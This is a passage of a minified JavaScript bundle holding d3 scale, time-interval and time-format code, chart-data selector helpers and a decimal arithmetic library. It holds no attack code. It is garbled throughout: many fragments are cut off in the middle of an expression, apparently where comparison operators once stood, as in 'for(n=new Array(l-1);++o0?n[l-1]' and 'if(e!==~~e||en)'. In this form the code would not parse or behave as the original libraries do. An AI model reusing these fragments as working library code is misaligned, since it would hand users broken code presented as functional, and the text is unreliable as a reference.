arguments.length?(r=a,i):r},i.copy=function(){return EN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},yn.apply(i,arguments),di(i)}function AN(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return _N().domain([e,t]).range(i).unknown(a)},yn.apply(di(o),arguments)}function ON(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[Uo(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return ON().domain(e).range(t).unknown(n)},yn.apply(i,arguments)}const qf=new Date,Yf=new Date;function st(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(ust(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(qf.setTime(+a),Yf.setTime(+o),e(qf),e(Yf),Math.floor(n(qf,Yf))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const cu=st(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);cu.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?st(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):cu);cu.range;const or=1e3,pn=or*60,lr=pn*60,gr=lr*24,qx=gr*7,E1=gr*30,Gf=gr*365,Ei=st(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*or)},(e,t)=>(t-e)/or,e=>e.getUTCSeconds());Ei.range;const Yx=st(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*or)},(e,t)=>{e.setTime(+e+t*pn)},(e,t)=>(t-e)/pn,e=>e.getMinutes());Yx.range;const Gx=st(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*pn)},(e,t)=>(t-e)/pn,e=>e.getUTCMinutes());Gx.range;const Xx=st(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*or-e.getMinutes()*pn)},(e,t)=>{e.setTime(+e+t*lr)},(e,t)=>(t-e)/lr,e=>e.getHours());Xx.range;const Zx=st(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*lr)},(e,t)=>(t-e)/lr,e=>e.getUTCHours());Zx.range;const Ko=st(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*pn)/gr,e=>e.getDate()-1);Ko.range;const Pd=st(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/gr,e=>e.getUTCDate()-1);Pd.range;const TN=st(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/gr,e=>Math.floor(e/gr));TN.range;function Qi(e){return st(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*pn)/qx)}const Ed=Qi(0),uu=Qi(1),cL=Qi(2),uL=Qi(3),Ua=Qi(4),dL=Qi(5),fL=Qi(6);Ed.range;uu.range;cL.range;uL.range;Ua.range;dL.range;fL.range;function Ji(e){return st(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/qx)}const Ad=Ji(0),du=Ji(1),pL=Ji(2),mL=Ji(3),Va=Ji(4),hL=Ji(5),xL=Ji(6);Ad.range;du.range;pL.range;mL.range;Va.range;hL.range;xL.range;const Qx=st(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());Qx.range;const Jx=st(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());Jx.range;const yr=st(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());yr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:st(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});yr.range;const br=st(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());br.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:st(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});br.range;function MN(e,t,n,r,i,a){const o=[[Ei,1,or],[Ei,5,5*or],[Ei,15,15*or],[Ei,30,30*or],[a,1,pn],[a,5,5*pn],[a,15,15*pn],[a,30,30*pn],[i,1,lr],[i,3,3*lr],[i,6,6*lr],[i,12,12*lr],[r,1,gr],[r,2,2*gr],[n,1,qx],[t,1,E1],[t,3,3*E1],[e,1,Gf]];function l(u,d,f){const m=dy).right(o,m);if(h===o.length)return e.every(Um(u/Gf,d/Gf,f));if(h===0)return cu.every(Math.max(Um(u,d,f),1));const[x,g]=o[m/o[h-1][2]53)return null;"w"in R||(R.w=1),"Z"in R?(pe=Zf(ks(R.y,0,1)),D=pe.getUTCDay(),pe=D>4||D===0?du.ceil(pe):du(pe),pe=Pd.offset(pe,(R.V-1)*7),R.y=pe.getUTCFullYear(),R.m=pe.getUTCMonth(),R.d=pe.getUTCDate()+(R.w+6)%7):(pe=Xf(ks(R.y,0,1)),D=pe.getDay(),pe=D>4||D===0?uu.ceil(pe):uu(pe),pe=Ko.offset(pe,(R.V-1)*7),R.y=pe.getFullYear(),R.m=pe.getMonth(),R.d=pe.getDate()+(R.w+6)%7)}else("W"in R||"U"in R)&&("w"in R||(R.w="u"in R?R.u%7:"W"in R?1:0),D="Z"in R?Zf(ks(R.y,0,1)).getUTCDay():Xf(ks(R.y,0,1)).getDay(),R.m=0,R.d="W"in R?(R.w+6)%7+R.W*7-(D+5)%7:R.w+R.U*7-(D+6)%7);return"Z"in R?(R.H+=R.Z/100|0,R.M+=R.Z%100,Zf(R)):Xf(R)}}function z(C,A,Z,R){for(var ae=0,pe=A.length,D=Z.length,re,_;ae=D)return-1;if(re=A.charCodeAt(ae++),re===37){if(re=A.charAt(ae++),_=k[re in A1?A.charAt(ae++):re],!_||(R=_(C,Z,R))<0)return-1}else if(re!=Z.charCodeAt(R++))return-1}return R}function O(C,A,Z){var R=u.exec(A.slice(Z));return R?(C.p=d.get(R[0].toLowerCase()),Z+R[0].length):-1}function E(C,A,Z){var R=h.exec(A.slice(Z));return R?(C.w=x.get(R[0].toLowerCase()),Z+R[0].length):-1}function T(C,A,Z){var R=f.exec(A.slice(Z));return R?(C.w=m.get(R[0].toLowerCase()),Z+R[0].length):-1}function P(C,A,Z){var R=v.exec(A.slice(Z));return R?(C.m=b.get(R[0].toLowerCase()),Z+R[0].length):-1}function U(C,A,Z){var R=g.exec(A.slice(Z));return R?(C.m=y.get(R[0].toLowerCase()),Z+R[0].length):-1}function K(C,A,Z){return z(C,t,A,Z)}function $(C,A,Z){return z(C,n,A,Z)}function L(C,A,Z){return z(C,r,A,Z)}function F(C){return o[C.getDay()]}function W(C){return a[C.getDay()]}function H(C){return c[C.getMonth()]}function B(C){return l[C.getMonth()]}function q(C){return i[+(C.getHours()>=12)]}function X(C){return 1+~~(C.getMonth()/3)}function se(C){return o[C.getUTCDay()]}function ue(C){return a[C.getUTCDay()]}function fe(C){return c[C.getUTCMonth()]}function me(C){return l[C.getUTCMonth()]}function Y(C){return i[+(C.getUTCHours()>=12)]}function te(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var A=S(C+="",w);return A.toString=function(){return C},A},parse:function(C){var A=N(C+="",!1);return A.toString=function(){return C},A},utcFormat:function(C){var A=S(C+="",j);return A.toString=function(){return C},A},utcParse:function(C){var A=N(C+="",!0);return A.toString=function(){return C},A}}}var A1={"-":"",_:" ",0:"0"},pt=/^\s*\d+/,jL=/^%/,kL=/[\\^$*+?|[\]().{}]/g;function ke(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a[t.toLowerCase(),n]))}function SL(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function zL(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function CL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function PL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function EL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function _1(e,t,n){var r=pt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function O1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function AL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function _L(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function OL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function T1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function TL(e,t,n){var r=pt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function M1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function ML(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function LL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function IL(e,t,n){var r=pt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function DL(e,t,n){var r=pt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function RL(e,t,n){var r=jL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function $L(e,t,n){var r=pt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function BL(e,t,n){var r=pt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function L1(e,t){return ke(e.getDate(),t,2)}function FL(e,t){return ke(e.getHours(),t,2)}function WL(e,t){return ke(e.getHours()%12||12,t,2)}function UL(e,t){return ke(1+Ko.count(yr(e),e),t,3)}function LN(e,t){return ke(e.getMilliseconds(),t,3)}function VL(e,t){return LN(e,t)+"000"}function HL(e,t){return ke(e.getMonth()+1,t,2)}function KL(e,t){return ke(e.getMinutes(),t,2)}function qL(e,t){return ke(e.getSeconds(),t,2)}function YL(e){var t=e.getDay();return t===0?7:t}function GL(e,t){return ke(Ed.count(yr(e)-1,e),t,2)}function IN(e){var t=e.getDay();return t>=4||t===0?Ua(e):Ua.ceil(e)}function XL(e,t){return e=IN(e),ke(Ua.count(yr(e),e)+(yr(e).getDay()===4),t,2)}function ZL(e){return e.getDay()}function QL(e,t){return ke(uu.count(yr(e)-1,e),t,2)}function JL(e,t){return ke(e.getFullYear()%100,t,2)}function eI(e,t){return e=IN(e),ke(e.getFullYear()%100,t,2)}function tI(e,t){return ke(e.getFullYear()%1e4,t,4)}function nI(e,t){var n=e.getDay();return e=n>=4||n===0?Ua(e):Ua.ceil(e),ke(e.getFullYear()%1e4,t,4)}function rI(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+ke(t/60|0,"0",2)+ke(t%60,"0",2)}function I1(e,t){return ke(e.getUTCDate(),t,2)}function iI(e,t){return ke(e.getUTCHours(),t,2)}function aI(e,t){return ke(e.getUTCHours()%12||12,t,2)}function sI(e,t){return ke(1+Pd.count(br(e),e),t,3)}function DN(e,t){return ke(e.getUTCMilliseconds(),t,3)}function oI(e,t){return DN(e,t)+"000"}function lI(e,t){return ke(e.getUTCMonth()+1,t,2)}function cI(e,t){return ke(e.getUTCMinutes(),t,2)}function uI(e,t){return ke(e.getUTCSeconds(),t,2)}function dI(e){var t=e.getUTCDay();return t===0?7:t}function fI(e,t){return ke(Ad.count(br(e)-1,e),t,2)}function RN(e){var t=e.getUTCDay();return t>=4||t===0?Va(e):Va.ceil(e)}function pI(e,t){return e=RN(e),ke(Va.count(br(e),e)+(br(e).getUTCDay()===4),t,2)}function mI(e){return e.getUTCDay()}function hI(e,t){return ke(du.count(br(e)-1,e),t,2)}function xI(e,t){return ke(e.getUTCFullYear()%100,t,2)}function vI(e,t){return e=RN(e),ke(e.getUTCFullYear()%100,t,2)}function gI(e,t){return ke(e.getUTCFullYear()%1e4,t,4)}function yI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?Va(e):Va.ceil(e),ke(e.getUTCFullYear()%1e4,t,4)}function bI(){return"+0000"}function D1(){return"%"}function R1(e){return+e}function $1(e){return Math.floor(+e/1e3)}var na,$N,BN;wI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function wI(e){return na=wL(e),$N=na.format,na.parse,BN=na.utcFormat,na.utcParse,na}function jI(e){return new Date(e)}function kI(e){return e instanceof Date?+e:+new Date(+e)}function e0(e,t,n,r,i,a,o,l,c,u){var d=Bx(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>d8(e,a/r))},n.copy=function(){return VN(t).domain(e)},Pr.apply(n,arguments)}function Od(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Pt,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*ge.chartData,Td=M([Er],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),YN=(e,t,n,r)=>r?Td(e):Er(e),PI=(e,t,n)=>n?Td(e):Er(e);function wr(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(je(t)&&je(n))return!0}return!1}function B1(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function GN(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(je(n))i=n;else if(typeof n=="function")return;if(je(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(wr(o))return o}}function EI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(wr(r))return B1(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(de(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&iy.test(i)){var c=iy.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(de(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&ay.test(a)){var d=ay.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(wr(m))return t==null?m:B1(m,t,n)}}}var ts=1e9,AI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},i0,$e=!0,gn="[DecimalError] ",Mi=gn+"Invalid argument: ",r0=gn+"Exponent out of range: ",ns=Math.floor,ji=Math.pow,_I=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,qt,ct=1e7,Me=7,XN=9007199254740991,fu=ns(XN/Me),ce={};ce.absoluteValue=ce.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};ce.comparedTo=ce.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=re.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};ce.decimalPlaces=ce.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*Me;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};ce.dividedBy=ce.div=function(e){return ur(this,new this.constructor(e))};ce.dividedToIntegerBy=ce.idiv=function(e){var t=this,n=t.constructor;return Pe(ur(t,new n(e),0,1),n.precision)};ce.equals=ce.eq=function(e){return!this.cmp(e)};ce.exponent=function(){return tt(this)};ce.greaterThan=ce.gt=function(e){return this.cmp(e)>0};ce.greaterThanOrEqualTo=ce.gte=function(e){return this.cmp(e)>=0};ce.isInteger=ce.isint=function(){return this.e>this.d.length-2};ce.isNegative=ce.isneg=function(){return this.s<0};ce.isPositive=ce.ispos=function(){return this.s>0};ce.isZero=function(){return this.s===0};ce.lessThan=ce.lt=function(e){return this.cmp(e)<0};ce.lessThanOrEqualTo=ce.lte=function(e){return this.cmp(e)<1};ce.logarithm=ce.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(qt))throw Error(gn+"NaN");if(n.s<1)throw Error(gn+(n.s?"NaN":"-Infinity"));return n.eq(qt)?new r(0):($e=!1,t=ur(Po(n,a),Po(e,a),a),$e=!0,Pe(t,i))};ce.minus=ce.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?JN(t,e):ZN(t,(e.s=-e.s,e))};ce.modulo=ce.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(gn+"NaN");return n.s?($e=!1,t=ur(n,e,0,1).times(e),$e=!0,n.minus(t)):Pe(new r(n),i)};ce.naturalExponential=ce.exp=function(){return QN(this)};ce.naturalLogarithm=ce.ln=function(){return Po(this)};ce.negated=ce.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};ce.plus=ce.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?ZN(t,e):JN(t,(e.s=-e.s,e))};ce.precision=ce.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Mi+e);if(t=tt(i)+1,r=i.d.length-1,n=r*Me+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};ce.squareRoot=ce.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(gn+"NaN")}for(e=tt(l),$e=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=Kn(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ns((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(ur(l,a,o+2)).times(.5),Kn(a.d).slice(0,o)===(t=Kn(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Pe(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return $e=!0,Pe(r,n)};ce.times=ce.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%ct|0,t=l/ct|0;a[i]=(a[i]+t)%ct|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,$e?Pe(e,f.precision):e};ce.toDecimalPlaces=ce.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(Zn(e,0,ts),t===void 0?t=r.rounding:Zn(t,0,8),Pe(n,e+tt(n)+1,t))};ce.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=Yi(r,!0):(Zn(e,0,ts),t===void 0?t=i.rounding:Zn(t,0,8),r=Pe(new i(r),e+1,t),n=Yi(r,!0,e+1)),n};ce.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?Yi(i):(Zn(e,0,ts),t===void 0?t=a.rounding:Zn(t,0,8),r=Pe(new a(i),e+tt(i)+1,t),n=Yi(r.abs(),!1,e+tt(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};ce.toInteger=ce.toint=function(){var e=this,t=e.constructor;return Pe(new t(e),tt(e)+1,t.rounding)};ce.toNumber=function(){return+this};ce.toPower=ce.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(qt);if(l=new c(l),!l.s){if(e.s<1)throw Error(gn+"Infinity");return l}if(l.eq(qt))return l;if(r=c.precision,e.eq(qt))return Pe(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=XN){for(i=new c(qt),t=Math.ceil(r/Me+4),$e=!1;n%2&&(i=i.times(l),W1(i.d,t)),n=ns(n/2),n!==0;)l=l.times(l),W1(l.d,t);return $e=!0,e.s<0?new c(qt).div(i):Pe(i,r)}}else if(a<0)throw Error(gn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,$e=!1,i=e.times(Po(l,r+u)),$e=!0,i=QN(i),i.s=a,i};ce.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=tt(i),r=Yi(i,n<=a.toExpNeg||n>=a.toExpPos)):(Zn(e,1,ts),t===void 0?t=a.rounding:Zn(t,0,8),i=Pe(new a(i),e,t),n=tt(i),r=Yi(i,e<=n||n<=a.toExpNeg,e)),r};ce.toSignificantDigits=ce.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(Zn(e,1,ts),t===void 0?t=r.rounding:Zn(t,0,8)),Pe(new r(n),e,t)};ce.toString=ce.valueOf=ce.val=ce.toJSON=ce[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=tt(e),n=e.constructor;return Yi(e,t<=n.toExpNeg||t>=n.toExpPos)};function ZN(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),$e?Pe(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/Me),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/ct|0,c[a]%=ct;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,$e?Pe(t,f):t}function Zn(e,t,n){if(e!==~~e||en)throw Error(Mi+e)}function Kn(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,O=r.constructor,E=r.s==i.s?1:-1,T=r.d,P=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(gn+"Division by zero");for(c=r.e-i.e,N=P.length,k=T.length,h=new O(E),x=h.d=[],u=0;P[u]==(T[u]||0);)++u;if(P[u]>(T[u]||0)&&--c,a==null?b=a=O.precision:o?b=a+(tt(r)-tt(i))+1:b=a,b<0)return new O(0);if(b=b/Me+2|0,u=0,N==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),T=e(T,d),N=P.length,k=T.length),j=N,g=T.slice(0,N),y=g.length;y=ct/2&&++S;do d=0,l=t(P,g,N,y),l<0?(v=g[0],N!=y&&(v=v*ct+(g[1]||0)),d=v/S|0,d>1?(d>=ct&&(d=ct-1),f=e(P,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N16)throw Error(r0+tt(e));if(!e.s)return new d(qt);for($e=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(ji(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(qt),d.precision=l;;){if(i=Pe(i.times(e),l),n=n.times(++c),o=a.plus(ur(i,n,l)),Kn(o.d).slice(0,l)===Kn(a.d).slice(0,l)){for(;u--;)a=Pe(a.times(a),l);return d.precision=f,t==null?($e=!0,Pe(a,f)):a}a=o}}function tt(e){for(var t=e.e*Me,n=e.d[0];n>=10;n/=10)t++;return t}function Qf(e,t,n){if(t>e.LN10.sd())throw $e=!0,n&&(e.precision=n),Error(gn+"LN10 precision limit exceeded");return Pe(new e(e.LN10),t)}function Dr(e){for(var t="";e--;)t+="0";return t}function Po(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(gn+(h.s?"NaN":"-Infinity"));if(h.eq(qt))return new g(0);if(t==null?($e=!1,u=y):u=t,h.eq(10))return t==null&&($e=!0),Qf(g,u);if(u+=m,g.precision=u,n=Kn(x),r=n.charAt(0),a=tt(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=Kn(h.d),r=n.charAt(0),f++;a=tt(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=Qf(g,u+2,y).times(a+""),h=Po(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?($e=!0,Pe(h,y)):h;for(l=o=h=ur(h.minus(qt),h.plus(qt),u),d=Pe(h.times(h),u),i=3;;){if(o=Pe(o.times(d),u),c=l.plus(ur(o,new g(i),u)),Kn(c.d).slice(0,u)===Kn(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(Qf(g,u+2,y).times(a+""))),l=ur(l,new g(f),u),g.precision=y,t==null?($e=!0,Pe(l,y)):l;l=c,i+=2}}function F1(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ns(n/Me),e.d=[],r=(n+1)%Me,n<0&&(r+=Me),rfu||e.e<-fu))throw Error(r0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Pe(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=Me,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/Me),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=Me,i=r-Me+o}if(n!==void 